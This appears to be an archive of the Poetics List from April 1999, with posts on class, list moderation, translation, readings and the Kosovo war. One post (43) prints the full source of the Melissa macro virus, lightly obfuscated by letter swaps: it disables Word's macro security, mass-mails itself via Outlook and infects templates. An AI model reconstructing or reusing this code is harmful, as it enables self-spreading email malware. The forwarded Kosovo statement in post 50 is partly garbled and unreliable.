All this Kosovo stuff saddens me. The class stuff too. People with all the answers, who want to become famous. I am disappointed that my posts don't get posted the rare times I attempt. 1 out 3 is subtracted. I tried to say that I am a vegetarian and don't know the first thing about pacifism. And how do you?

This list feels very over fished to me. Maybe it's me but, "the writing community" does not feel even room temperature. I am not interested in battle of the bands style poetry readings.

I work for a boss at nonprofit literary arts center that hates me, the harder I work. He screams at me. If I were a secretary in real job maybe I could sue him. I think how we treat each other is more important than being a star. Except for a small handful of people, this air conditioned boat leaves me cold and adrift in academic name dropping. And I am not jealous, just wishing for more heat. Respect for other peoples opinions does not mean necessarily agreeing. So here I am listening and attempting to participate.

-Jessica

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35. Daniel Kane
Wang Ping plus an O'Hara question
Thu 1 Apr 1999

There's an interview up with poet Wang Ping that may be of interest to people on this list. You'll find it on the WriteNet site at

http://www.writenet.org/poetschat/poetschat_wping.html

In the interview, Wang Ping talks about her poem "Syntax." She also discusses how speakers of English as a Second Language can write good poems in

English without worrying too much about grammar and syntax. As usual, Teachers & Writers Collaborative encourages you to bring her poem into your classroom and share it with your students. National Poetry Month or not National Poetry Month.

By the way, I am trying to trace the origin of a story re: Frank O'Hara where O'Hara, responding to the question "What do you think of Dylan Thomas," responded "I can't stand all that Welsh spit." Does anyone know if this story is true, and if it is documented anywhere?

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36. Karen McKevitt
Re: class
Thu 1 Apr 1999

Juliana Spahr wrote:

>I guess my question is how do we talk about class while paying attention
>to how many people pass in both directions all the time? How do we talk
>about class and make room for the way some people move up and down it
>all the time? Is class growing up background? Or is it net income at
>current year? And what are the income levels? Or is it purely cultural?
>Is there a lower class culture of dirty shirts and beer drinking that
>the Chute talk seemed to suggest? An upper class culture that owns
>artyness? How does rural and urban play into this? What about marriage
>and wives with no income? Does education disqualify one from being lower
>class? Does one's academic job disqualify one from being lower class
>anymore? What if you are an adjunct? Does one's Yale undergrad degree on
>scholarship disqualify? Or if one grows up upper class yet goes to the
>local community college, does that change?

Yes yes yes! These questions are very good. Very smart. I have only started thinking about class myself--I have been somewhat sheltered as a grad student who went from Daddy's support to "Government Loan Support", and am now starting to get a good dose of reality.

I told my friend the other day that I think about class every time I go to the laundromat.

I might argue that class is an ever-shifting thing. I came from an upper-middle-class background. Grew up in Silicon Valley, Dad works at Intel, Mom has acrylic nails and hardwood floors. 4 bedroom, 3 car garage. I'm finding that

many people make assumptions about my class based on my parents' class--for instance, when my 11-year-old car broke down again, someone asked my why my Dad didn't buy me a new one. My Dad NEVER bought me a car.

Anyway, I use these as examples and not because I'm whiny and bitter--not the case. I'm still "new" in how I think about it. I wonder, is this because I am of the generation that will not do as "well" as our parents? I wonder if I have "inherited" the class sensibilities of my parents--I certainly have had to undo the materialistic side of it. I might have inherited class, but I certainly haven't inherited any money to back it up.

I am also intrigued by Kathy's "sniffing." It's such a great word--I think it's associations are what makes people find it distasteful. I would love for Kathy to elaborate on that act of sniffing. Though I don't think so, I wonder if sniffing and assumptions are the same. Dare I say, as a straight white person, that some minority/marginalized individuals have placed assumptions on me--they have assumed my politics, have assumed my stance? I'm not denying that I walk around with a certain amount of priviledge.

Well, yes, class is shifting. I wonder if the gripe should be about capitalism and how corporations value (or don't value) employees, individuals, etc. What are we really worth? What is my work worth? My time?

Sorry for getting off those questions--

Karen McKevitt
Get Your Private, Free Email at http://www.hotmail.com

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37. David Zauhar
Re: class
Fri 2 Apr 1999

Defining "Class" is one of those places that cultural studies folks can be helpful. Here's one of the ur-cultstuds, E.P. Thompson, in the preface to his monumental _The Making of the English Working Class_: "If we stop history at a given point, then there are no classes but simply a multitude of individuals with a multitude of experiences. But if we watch these men over an adequate period of social change, we observe patterns in their relationships, their ideas, and their insititutions. Class is defined by men as they live their own history, and, in the end, this is its only definition." EPT, _TMEWC_, 1963). And of course, now women are given credit for living their own history too. My guess is that one of the problems with dealing with class in the US is the ahistorical if not amnesiac quality of American culture. There are others, too, obviously. In any case, for what it's worth. . .

David Zauhar
University of Illinois at Chicago

Art isn't made, it's in the world almost
unseen but found existent there. We paint,
we save the sound in music, we write it down.

--William Bronk, 1918-1999

On Thu, 1 Apr 1999, juliana spahr wrote:

> *Just went to a talk the other day on Carolyn Chute and class. And then all the talk post-pagemothers on class. It is worrying me. The reason we as a society have trouble talking about class is that it is endlessly complicated. It is hard to quantify, much less smell or generalize about preferences of roughness or smoothness. Once we start to act like it is something that can be called out in the language of clear category (that academic means middle or whatever), we do class the disservice of assuming it is an easy marker. Even though our society, falsely, treats race or gender as something absolute, it has never treated class that way. Yet that class is the language that white people at times use to assert their marginalization makes me nervous about it all the time.*
>
> *Yet I also think it is crucial to talk about all the time (who knows it might lead to the class revolution). So I am grateful for the discussion.*
>
> *I guess my question is how do we talk about class while paying attention to how many people pass in both directions all the time? How do we talk about class and make room for the way some people move up and down it all the time? Is class growing up background? Or is it net income at current year? And what are the income levels? Or is it purely cultural? Is there a lower class culture of dirty shirts and beer drinking that the Chute talk seemed to suggest? An upper class culture that owns artyness? How does rural and urban play into this? What about marriage and wives with no income? Does education disqualify one from being lower class? Does one's academic job disqualify one from being lower class anymore? What if you are an adjunct? Does one's Yale undergrad degree on scholarship disqualify? Or if one grows up upper class yet goes to the local community college, does that change?*
>
> *Like those students who can't understand My Life, I really can't imagine that their background income is that different from Hejinian's--her father was an academic administrator (a decent but not the best paying job), her mother a housewife. The New College, where she worked until recently, is known for its substandard salaries. She doesn't have an advanced degree. What is making her the symbol for middle (?) classness to these students? Is it because she doesn't in My Life put her self forward as a marginalized subject?*

> *I mean these questions not as critique but just as questions. I am glad this discussion has been happening.*

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38. miekal and
A VERTICAL REDNESS BETWEEN LOVERHUGGED BODIES
Fri 2 Apr 1999

There are many for you. Can that I ably motivate them
in my head. A shrub of many leaves surrounded by the
sensate flora. Expelling from eager memory, decline for
the real trip, the uplight all to back of the bodies. Your
hands on his body.

We have been exchanged. Your hands simply to touch, words that matter having our translation. Care. Brotherfriends facing maximum harried brain.

Can we hear about this a little louder. Proposal dreamt
& encouraged. You are the several living support. If
we don't want it in our bodies, then we must bend and
linger with that taste in mind, depend memories over bodies.

In every redness dust the cloud frantic potion of the
scene. After tugging the river nervous system for our
road walked directions, in alone the rising lake, & the
population bearings of the mercantile city.

We are out rooms.

I enter my mental device.

↑ Index

39. christopher t funkhouser hss fac/staff
*Kamau Brathwaite's _conVERSations with Nathaniel Mackey_*
Fri 2 Apr 1999

Dear Poetics,

Sending below some info on a project I've been working on since 1994. Glad to finally have it ready for the world. As a way to encourage quick movement of text from one place to another, the publishers are waiving postage fees on orders received before 5/1/99. If you are at all interested in Brathwaite or Mackey, this book is well worth a look!

-Chris Funkhouser

P U B L I C A T I O N A N N O U N C E M E N T

Now available:

ConVERSations with Nathaniel Mackey

by Kamau Brathwaite

Produced by We Press, Xcp: Cross-Cultural Poetics,
and the University of Minnesota

"But Nate makes it possible for me to account my death and the
death, as I experience it, of my loved - o loved society and
culture; and with the discovery of _my_ 'accountability' - that
I'm beginning to find word/sound/power for - begins the proc-
ess of rehabilitation, resurrection, rebirth, 'second birth'
Or whatever else you want to call this 'second' '4th Travell-
er' experience that I'm too deeply [makes gesture here instead of
word] to find the words grateful for. . .the words for the 'se
cond birth' out of the death - which is what Trench Town
Rock is. . . about, I suppose. . . I'm lucky to have been ab-
le to find the echo, the little space in which the words cou-
ld be fitted - so it becomes possible to write it in t/reason
able 'English' too. . ."

* * * *

Kamau Brathwaite's ConVERSations with Nathaniel Mackey is based on the transcript of his 1993 public discussion with Nathaniel Mackey at Poet's House in New York City. Brathwaite expansively elaborates on Mackey's (and audience's) knowledgeable inquiries; his answers are layered with subsequent ruminations arising from his lifelong engagement with world literature and expressive cultures. A multiphasic drift, ConVERSations with Nathaniel Mackey combines elements of biography and autobiography with poetic discourse on Caribbean literary history and negative effects of colonial domination. In this book, Brathwaite, a recent recipient of the prestigious Casas de las Americas prize, splices dialog with poetry, criticism, and instructive imaginary voices in his now distinct and characteristic "Sycorax 'video style'" format. It is a valuable resource for either writer's work and for scholarship on African dispora art and literature.

* * * *

the bamboo is no
longer there and I have the image of this
mountain of mud
How do you write poetry about a
mountain of mud?
That is what I'm really askin you,
you see. Poetry
is traditionally written about beautiful
bamboo that becomes a flute
How do you write a poem about a
mountain of mud which was the
bamboo? And it's not simply
that it's a mountain of mud
but is the _replacement_ of that bamboo
with that mountain. _That_'s the prob
Do you become deaf? Dumb? Blind?
antiballad, antebelum? And do you
remain that way? And if you remain
that way, what are the consequences
for metaphor/of metaphor? What kind of
metaphors come out of
[high pitch] hnmmmm - what kind of
vibration? What kind of new words are
formable? Become formidable? What
kind(s) of form become possible. . .

8 1/2 x 11, 320 pages
ISBN: 0-9668976-0-9

Ordering directly from publishers, cost is $14 (plus $2 shipping charges; non-U.S. orders $3). Send payment w/name & mailing address to We Press 62 Westervelt Avenue Staten Island, NY 10301 (Checks payable to Chris Funkhouser). Also distributed by Small Press Distribution and amazon.com

CONTACT:

Chris Funkhouser Maria Damon Mark Nowak We Press
English Department Xcp:Cross-Cultural Poetics 62 Westervelt Ave.
Univ. of Minnesota 601 25th Ave. South Staten Island, NY 10301 Minneapolis, MN 55455 Minneapolis, MN 55454 [redacted]

http://www.con2.com/~wepress
http://bfn.org/~xcp

↑ Index

40. Poetics List

Radio B92 closed! / Dubravka

Fri 2 Apr 1999

This news just arrived at the administrative account. Çhris

---------- Forwarded message ----------
Date: Fri, 02 Apr 1999 15:06:01 +0200
Subject: Radio B92 closed!

RADIO B92 CLOSED!

On friday April 2, at 09.00,
inspectors followed by policemen
delivered to mr. Sasa Mirkovic,
director of Radio B92 the decision
which denounce mr. Mirkovic's
capacity to represent Radio B92. In
other words, mr. Mirkovic has been
ousted and is no longer Director of
Radio B92. The new court decision
appointed the new Director of
Radio B92, mr. Aleksandar
Nikacevic. The premises of the
Radio B92 have been sealed off.
Soon after the new Director, with
the presence of inspectors, issued
the order to all the employees to
meet at their working place no later
than Monday, April 5. STRUGGLE
CONTINUES. WE SHALL NEVER
SURRENDER. RADIO B92,
BELGRADE, SERBIA

--
*ICQ 16854837

"And the wild regrets, and the bloody sweats,
None knew so well as I:
For he who shall live more lives than one
More deaths than one must die."

*Oscar Wilde, THE BALLAD OF READING GOAL

↑ Index

41. Poetics List
Re: 3 faces / list moderation
Fri 2 Apr 1999

Jessica's post gives me a good chance to address an issue that's plagued me since having taken on the position of list moderator in January; and while this is not the most opportune time for me personally to respond (I have to get to work), I wanted neither to hold her post or to let it go without some kind of reply. What's been troubling to me is this quandry: how to acknowledge publically the ideological limits of this space, or rather to assert my own position as arbiter of the list (a word I use pointedly) in attempting to facilitate the specific exchange and debate for which this space was intended from its inception; and in particular how to do so without approaching the destructive anti-dialogue that consumed the list towards the end of last year - for I can't help but think that what I'm preparing here are the means by which I will be accused not only of censoring "discussion" on the list, but of censoring discussion of list censorship and so forth ad nauseum. Which in fact is, ultimately, the very point of my address.

I'm not even sure this is the best time to broach this topic - there is, however distantly for most Americans, a war on.

What follows is an adapted version of a post sent previously to a subscriber, in response to his/her objection to my decision not to forward a one-sentence post. This is not quite the manner in which I had wanted to address this matter (I have other, prepared material elsewhere), but it is what I have on-hand at the moment.

Chris

P.S., not wanting to sound singlularly cheerless, I should also say that my remarks here pertain to "discussion"-oriented posts of a relatively "straightforward" manner, and not to poems or other kinds of other writing. (And, being someone who attempts to push my own poetry in the direction of criticism, rather than maintaining such a discretion, I realize that there are problems with all of these terms, esp. and above all the distinction between poems and other posts.)

[redacted]

The ideological limits of this list - which is explicitly and acknowledgedly an ideological space - are laid out in the Welcome Message that is sent to all subscribers.

Among other requested and sometimes enforced (again, using the word acknowledgedly) guidelines to the list, you will find that I've said this is a list primarily designed to address poetry and poetics, occasionally to address political

issues. You may notice, though it is not there stated because not rigorously adhered-to, that the explicitly political material I forward generally relates to an "immediate" situation, e.g., the current war or NATO/US involvement in such.

You will also find that I ask of subscribers to post relatively considered and even extensive statements, opinions, etcetera, and not single lines or single sentences - a position I am willing to stand by so long as I have the energy, which is not always. Unfortunately the limits of this list are also to some extent the limits of my time and energy, since without further support from SUNY Buffalo (and beyond that institution, Gov. Pataki and the state legislature etc.) I do this job more or less on my own.

Now in those instances where a subscriber has taken the time to articulate a position, and I mean in a considered manner, and especially though not necessarily in relation to a poetics, I have consistently forwarded those posts to the list. This could be said of even a paragraph or a few lines. On the other hand, I simply do not consider a single line, and one whose challenge lies more in its tone than its position, to be such an articulation; and so in this and other instances I have generally not forwarded said post to the list.

If you want to challenge this list on the basis of aesthetic, political or ethical practice, that's fine with me - even though I don't see the particular relevance of *this* statement to this (poetics) list. But I simply must ask that you do so in a way that will provoke consideration or sustained argumentation, and not in an off-hand comment which will provoke more of the like or be simply ignored. I might add that this would be to the benefit of your position, as it may be to the benefit of the list.

This list is not a list of my opinions. I happen to disagree or even in some cases have no developed sense of the issues that are "discussed" here (though note that my own position would be to discard the "conversational" tropes that surround the list). But I do consider it my job to maintain this list in a form that, to whatever extent possible, furthers concrete and serious consideration of the issues at hand - even due seriousness of fooling around, when that happens.

If this is censorship, as indeed it may be characterized, then I will own that charge in saying (again) this absolutely is an ideological space, as regards form and content. And so are all other spaces, however unacknowledgedly.

sincerely, Chris

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42. A. Jenn Sondheim
Re: 3 faces / list moderation
Fri 2 Apr 1999

No space is free.
It takes not only moderators but sysadmins to make it go.
People's labor is volunteered or paid for.
The machines are often built with underpaid labor.
The routers are maintained with paid labor.
A great deal of the Net still runs on free-offered services.
To be on a list is a privilege, not a right.
Someone starts the list with some sort of intentions.
Someone signs up on a list because it seems of interest.
It is easier than ever to start new lists.
Lists can now be tailored to the slightest innuendo.
All lists have subtextual censoring issues.
There will be questions about child pornography, for example.
All lists are circumscribed.
There will be questions about libel and slander.
It takes only one person with minimal effort to permanently derail a list.
The greater the governance, the greater the labor involved.
There is no solution to communication.

Given that there is a war on, what should be our response?
Should all of our texts be geared to that response?
Should all of our texts be geared to class issues?
To reification or recognition of class, war, race, gender, religion?
Has there ever been in this sense a space for writing?

Alan

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43. A. Jenn Sondheim
Anatomy of the Melissa Virus (Disabled) (fwd)
Fri 2 Apr 1999

In case you want to see the anatomy of the Melissa Virus - this is completely disabled with some basic letter substitutions (among other things).

Know your enemy.

Alan

Xrivate Yub Document_Open() On Error Resume Next Zf Yystem.XrivateXrofileYtring("", "HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\9.0\Word\Yecurity",

```
"Level")
<> "" Then
  CommandBars("Macro").Controls("Yecurity...").Enabled = False
  Yystem.XrivateXrofileYtring("",
"HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\9.0\Word\Yecurity",
"Level")
= 1& Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusXrotection = (1 - 1):
Options.YaveNormalXrompt = (1 - 1) End Zf

Dim UngaDasOutlook, DasMapiName, BreakUmOffAYlice Yet UngaDasOutlook
CreateObject("Outlook.Application") Yet DasMapiName UngaDasOutlook.Get-
NameYpace("MAXZ") Zf Yystem.XrivateXrofileYtring("",
"HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo" Then
  Zf UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Yet AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Yet BreakUmOffAYlice = UngaDasOutlook.CreateZtem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Xeep = AddyBook.AddressEntries(x)
            BreakUmOffAYlice.Recipients.Add Xeep
            x = x + 1
            Zf x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffAYlice.Yubject = "Zmportant Message From " &
Application.UserName
         BreakUmOffAYlice.Body = "Here is that document you asked for ...
don't show anyone else ;-)"
         BreakUmOffAYlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffAYlice.Yend
         Xeep = ""
    Next y
    DasMapiName.Logoff
  End Zf
  Yystem.XrivateXrofileYtring("",
"HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo" End Zf
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Yet ADZ1 = ActiveDocument.VBXroject.VBComponents.Ztem(1)
Yet NTZ1 = NormalTemplate.VBXroject.VBComponents.Ztem(1)
NTCL = NTZ1.CodeModule.CountOfLines
ADCL = ADZ1.CodeModule.CountOfLines
BGN = 2
Zf ADZ1.Name <> "Melissa" Then
  Zf ADCL > 0 Then ADZ1.CodeModule.DeleteLines 1, ADCL
  Yet ToZnfect = ADZ1
  ADZ1.Name = "Melissa"
  DoAD = True
End Zf

Zf NTZ1.Name <> "Melissa" Then
  Zf NTCL > 0 Then NTZ1.CodeModule.DeleteLines 1, NTCL
  Yet ToZnfect = NTZ1
  NTZ1.Name = "Melissa"
  DoNT = True
End Zf

Zf DoNT <> True And DoAD <> True Then GoTo CYA

Zf DoNT = True Then
  Do While ADZ1.CodeModule.Lines(1, 1) = ""
    ADZ1.CodeModule.DeleteLines 1
  Loop
  ToZnfect.CodeModule.AddFromYtring ("Xrivate Yub Document_Close()")
  Do While ADZ1.CodeModule.Lines(BGN, 1) <> ""
    ToZnfect.CodeModule.ZnsertLines BGN, ADZ1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End Zf

Zf DoAD = True Then
  Do While NTZ1.CodeModule.Lines(1, 1) = ""
    NTZ1.CodeModule.DeleteLines 1
  Loop
  ToZnfect.CodeModule.AddFromYtring ("Xrivate Yub Document_Open()")
  Do While NTZ1.CodeModule.Lines(BGN, 1) <> ""
    ToZnfect.CodeModule.ZnsertLines BGN, NTZ1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End Zf

CYA:
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Zf NTCL <> 0 And ADCL = 0 And (ZnYtr(1, ActiveDocument.Name, "Document") False) Then
  ActiveDocument.YaveAs FileName:¬tiveDocument.FullName
ElseZf (ZnYtr(1, ActiveDocument.Name, "Document") <> False) Then
  ActiveDocument.Yaved = True
End Zf

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

Zf Day(Now) = Minute(Now) Then Yelection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. Z'm outta here." End Yub

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44. Christopher W. Alexander
NYC talks series / Alan Gilbert
Fri 2 Apr 1999

Alan Gilbert asked that I forward this to the list.
looks exciting. Chris

From: "Alan Gilbert" <[redacted]>
Date: 3/30/99 11:49 AM -0400

POETRY ON TIME
a New York City based talk series

presents

MARK McMORRIS
discussing poetry and Empire
Friday, April 2, 1999, 8 p.m.
Segue space
303 East 8th Street at Avenue B

Mark McMorris will speak on transmissions from the Euro-American library into the Caribbean environment. Partially focusing on the poetry of Kamau Brathwaite and Derek Walcott, he will address some of the roles and tasks of poetry within the context of post-colonial cultural influences.

Born in Jamaica, Mark McMorris is the author of the following books of poetry: _Palinurus Suite_ (paradigm press, 1992), _Figures for a Hypothesis_ (Leave Books, 1995), _Moth-Wings_ (Burning Deck, 1996), and _The Black Reeds_

(Univ. of Georgia Press, 1997). Works of fiction and criticism have appeared in various publications. He currently teaches in the English Department at Georgetown University.

The presentation will consist of a brief poetry reading and a 30 minute talk followed by questions and answers.

$4 donation

==========

Upcoming talks include:

Lisa Jarnot
discussing poetry and biography
Friday, May 7, 1999, 8 p.m.
Segue space
303 East 8th Street at Avenue B

Fall 1999
(Dates and locations to be announced)
Roberto Tejada on poetry and documentary
Kristin Prevallet on poetry and investigation
Yunte Huang on poetry and translation
Louis Cabri on poetry and finance capitalism

Spring 2000
(Presenters and dates and locations to be announced)

Coordinator: Alan Gilbert

For further information, contact Alan Gilbert at [redacted]

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45. Jamie Ferguson
The Chrisis of the Poetics List
Fri 2 Apr 1999

I think Chris is right to post a letter about his role as moderator of the List, even if I think he should be less worried about how members will react to the power that comes with that role.

In response to his post, I want to suggest a couple of topics that might be addressed by those who have taken a serious interest in this forum.

- What sort of post does the medium tend to encourage? Are there common pitfalls that might be specified and so more easily avoided?

- Ought we to be more conscious of the modes of writing/thought presented on the List, and would it make sense to address these matters in terms of specific posts? (This would mean sometimes commenting not on the content of a post so much as the kind of thinking it represents.)

- What sorts of post tend to be valuable for us as readers? What sorts less so?

I personally would answer these questions by saying that there does seem to be something in the medium that encourages unconsidered contributions. I would argue against the writing of unsupported statements: "I find this book unconvincing." When I came onto the List, I had the idea that I might begin an exchange on something that interests me particularly at the moment: literary translation. I would expect me posts to be deleted by those who take no interest in the matter (or who think I'm a dolt), but what I would expect from those who do take an interest and don't think I'm a dolt is TIME. I stopped writing because, with a few exceptions, I felt that I was putting in a lot more than I was getting back. Whether a response was enthusiastic or critical, I often had the impression that while I had spent a half an hour or more on composing something that seemed to me worth reading, the responses were dashed off in a couple of minutes. This may, I know, be entirely due to my not having, if fact, succeeded in composing something interesting, even for those engaged with the topic. But I suspect that I did manage to interest a few people - and did in fact elicit one very interesting response from Pierre Joris. Nobody would read a journal whose contributors were known to spend no more than five or ten minutes on their pieces; while the potential immediacy of EXCHANGE in this kind of format is clearly a bonus. My estimation would be that those of us writing to the List should move closer to the concentration implied by the former format, and try to work against the seemingly perpetual thrill of the immediate in and of itself.

One further point, as to content: if there were more posts on the negative effects of football on the American psyche, I would unsubscribe. This is not to say anything about the intellectual quality of the discussion that took place around this topic, but only to say that I, for one, am looking for something else here.
Get Your Private, Free Email at http://www.hotmail.com

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46. Elizabeth Treadwell
Outlet reviews requested.
Fri 2 Apr 1999

Hello all,

I am looking for reviewers for the next issue of Outlet, for the following books--

Liz Waldner. Homing Devices
Susan Gevirtz. Black Box Cutaway
Jessica Grim. Fray

pls b/c if interested.

thanks.
Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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47. Jordan Davis
POETRY CITY . GOETZ? LUBASCH?
Fri 2 Apr 1999

Anna Malmude and Jordan Davis
cordially invite you
to a reading
at POETRY CITY
in the offices of Teachers & Writers
5 Union Square West, New York City

G R E T A
G O E T Z

author of "Construction Papers" as seen in T H E H A T

and LaIaSaA LaUaBaAaSaCaH

whose work is in the Avec Sampler, Explosive, and forthcoming in

DER HUT!

THURSDAY APRIL 8

7 PM FREE

and what

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48. Mairead Byrne
Re: The Joy of Poetry
Fri 2 Apr 1999

Dear Maria, Like you, my interest is in poetry and cultural studies. I agree with most of what you say in your recent post. Except maybe our spirits are

different. You seem charging and charged, determined and probably effective too. I have begun to feel that academic life in America is structured to inhibit political action or involvement, even at a local level. It is my experience here (5 years and two towns) that colleges and universities are cut off from their local matrix, intellectually though not economically. When I look back, I remember students with a lot of political attitude, but no actual political involvement with their immediate environment: the town or city in which they were living. For myself, I was and am connected to "my" town through my children, who go to school here, or daycare. Yet I am not active in the PTA or on the board of the Drop-In Center, nor am I active anywhere else, except as a reader in the various libraries. I am a graduate student and college lecturer: this combination (which is the most common for all graduate students in the cultural studies field, though some may be called T.A.s rather than lecturers) is fairly gruelling and inexorable over a considerable number of years. Throw in another engagement with poetry: writing it, and you screw things up a bit. Throw in a family, and the pitch is a notch higher still. But even the grad school/T.A. tandem seems destructive. My experience of grad school was one of an extremely structured, controlled, pointless, and time-wasting classes which I was obliged to both take and teach. Even now, when I have greater freedom, the continual scraping necessary to get by on the time and money available seriously inhibits political involvement -- or *any* sort of serious activity, including writing and thinking. My question is (after all that): am I completely paranoid in thinking that the academic system here is actually set up to prevent people thinking, to inhibit engagement with anything outside the academy, and to keep students/graduate students in a state of "near-death" until they actually *are* near death and pensionable? This paragraph is a bit rough but I hope you will get the general idea. All the best, Mairead

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49. Catherine Daly
class & gender & generation
Fri 2 Apr 1999

Margaret Randall wrote a book about women, class, and money not too long ago, and her observation most interesting to me was women are more socially mobile than men. (If we marry, we must or choose to adopt the class of the man. We outlive our husbands. Divorce usually only changes the class of the woman. Alone, we're outside the rankings.) Paul Fussell has a quiz in his book about class which ends up being about decorating. Shortcut the quiz: if you read in a foreign language, and have books everywhere, you're upper class.

I was just in Chicago for my (working class) grandmother's funeral: my immediate family is called "hoity toity" by the remainder of the family. That we went to

college is only the easy answer. We're members of different classes. My parents are middle class. My sister and I are upper middle class. My fiance is outside the rankings but raised in Section 8 housing. I have cousins who are have doctorates, but they are 1) male, 2) not upper middle class. Class is a wonderment, a construct: less about income or capital and more about what I am going to call "the conversation of the house".

Social mobility is made easier by generational rebellion, which is hampered by felt or actual financial or social responsibilities for people in the house. This influences the accessibility of writing, the relationship to audience, everything to do with the personal history a writer has with her writing.

I would suggest that some of the feelings my working class friends and I have about money and scholarship and writing are derived from family and social responsibilities, not class. Unfortunately, these responsibilities are gender-based, and the less desirable your American class "totem pole", the more gender-based these are.

The perception of class (I believe "smell" is being used here) then comes from a personal history with this conversation. Education, culture, and attitudes toward gender are all useful pointers. Women in this country are still not allowed as much education as men, yet are expected to perform a great deal of cultural work free of charge, by which I mean, cultural work which does not accrue for the woman.

Regards,
Catherine Daly
[redacted]

P.S. Many female experimentalists are military brats, interesting since soldiers, sailors, pilots, et.al., are socially and physically mobile. I would argue that academics are also socially and physically mobile (until tenured).

P.P.S. Some sort of pun about mobile homes.

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50. Poetics List
more from Dubravka
Fri 2 Apr 1999

--forwarded message--
Date: Fri, 2 Apr 1999 17:35:45 +0200 (CEST)
From: Dubravka <[redacted]>

The massive air strikes against Yugoslavia do not only destroy army installations. They also take human lives and ruin the economic infrastructure of our

impoverished country. In the long run, howeveateral damage will be the shattered possibilities for de cracy in Serbia. We fear that the only durable result of the undeclared war will be a permanent state of emergency, legal and spiritual, this time with the support of the bewildered majority, which has always sided with the government in terms of extreme adversity and danger. Democratic and economic transition in Serbia is the only real cure for the Kosovo problem and hope for achieving stability in the Balkans. Our long-standing criticism of the policies of the Serbian regime and especially its human rights record is well known.s decision "to use violence for humanitarian reasons" as sign of incompetence and impotence of the US and EU policies in regard to Kosovo, r ather than an unavoidable move after all other efforts had failed. Air strikes signify the defeat of the international community' s long-standing policy towards Serbia, which has been exclusively based on negotiating with Mr. Milosevic and pressuring him to deliver peace. There will be no real peace and stability in the region and there will certainly be no peace in Yugoslavia unless Serbia embarks on the road to democracy and market economy. However, it appears that riously considered this option. There has been no real effort to promote and assist the position of those in Serbia that have been end In the atmosphere of war and national calamity these enemies of dem sional maladroit attempts to "assist" democracy and human rights in Serbia by vague promises of money to individuals and groups action in the US Senate of a "Serbian Democratization Act" in t The air strikes erased in one night the results of ten years of ours people in the non-governmental organizations and in the democra rd to maintain now. The Kosovo problem will remain unsolve resolve this situation through negotiations and without further violeemce. For the Centre, Professor Vojin Dimitrijevic, Former Vice-Chairman of the UN Human Rights Committee

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51. Kris Dykstra
Translation
Fri 2 Apr 1999

You mention an interest in translation--I'm new to the list
& am working on a first but large translation project (Spanish
to English)--I'd be interested in hearing general +/- specific
ideas about this topic, unless it was done to death last
month. Example: I read an article that characterized
Dickinson's poetry as a "compensation" for failed
letter-writing, i.e. a compensation for the lost ideal of exact
correspondence. Given that translation also seems to
presuppose a loss of some sort of exact correspondence,
is translation itself a compensatory mode? When is it

useful to talk about intralingual translation as well as
interlingual translation? & so forth. & if anyone
can confirm that "murcielago" is commonly used in
Cuba to refer to someone who stays out all night partying,
I'd be interested in that too--

Kris

--On Friday, April 02, 1999, 6:25 PM +0000 "Jamie Ferguson" <[redacted]>
wrote:

> *I think Chris is right to post a letter about his role as moderator of the List, even if I think he should be less worried about how members will react to the power that comes with that role.*
>
> *In response to his post, I want to suggest a couple of topics that might be addressed by those who have taken a serious interest in this forum.*
>
> *- What sort of post does the medium tend to encourage? Are there common pitfalls that might be specified and so more easily avoided?*
>
> *- Ought we to be more conscious of the modes of writing/thought presented on the List, and would it make sense to address these matters in terms of specific posts? (This would mean sometimes commenting not on the content of a post so much as the kind of thinking it represents.)*
>
> *- What sorts of post tend to be valuable for us as readers? What sorts less so?*
>
> *I personally would answer these questions by saying that there does seem to be something in the medium that encourages unconsidered contributions. I would argue against the writing of unsupported statements: "I find this book unconvincing." When I came onto the List, I had the idea that I might begin an exchange on something that interests me particularly at the moment: literary translation. I would expect me posts to be deleted by those who take no interest in the matter (or who think I'm a dolt), but what I would expect from those who do take an interest and don't think I'm a dolt is TIME. I stopped writing because, with a few exceptions, I felt that I was putting in a lot more than I was getting back. Whether a response was enthusiastic or critical, I often had the impression that while I had spent a half an hour or more on composing something that seemed to me worth reading, the responses were dashed off in a couple of minutes. This may, I know, be entirely due to my not having, if fact, succeeded in composing something interesting, even for those engaged with the topic. But I suspect that I did manage to interest a few people - and did in fact elicit one very interesting response from Pierre Joris.*
> *Nobody would read a journal whose contributors were known to spend no*

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> *Get Your Private, Free Email at http://www.hotmail.com*

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52. **nuyopoman**

Peoples Poetry Gathering Youth Speaks Teen Slamarama

Fri 2 Apr 1999

JUDGES NEEDED for the 1st Youth Speaks Teen Poetry Slam
at the Peoples Poetry Gathering on april 9th, from 1-3 pm @ Cooper Union. Young slam
poets WANTED! If you can spare 2 1/2 hours to listen to
25 teen poets pour their hearts and energy into honest
spoken word, I need you. One round. Individual poets
compete against each other. 3 winners. All win t-shirt,
tickets, our admiration.

Email Jen Weiss: [redacted]

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53. **Maria Damon**

Re: The Joy of Poetry

Fri 2 Apr 1999

At 3:05 PM -0500 4/2/99, Mairead Byrne wrote:
>Dear Maria,
>Like you, my interest is in poetry and cultural studies. I agree with most
>of what you say in your recent post. Except maybe our spirits are
>different. You seem charging and charged, determined and probably
>effective too. I have begun to feel that academic life in America is
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>obliged to both take and teach. Even now, when I have greater freedom,
>the continual scraping necessary to get by on the time and money available
>seriously inhibits political involvement -- or *any* sort of serious
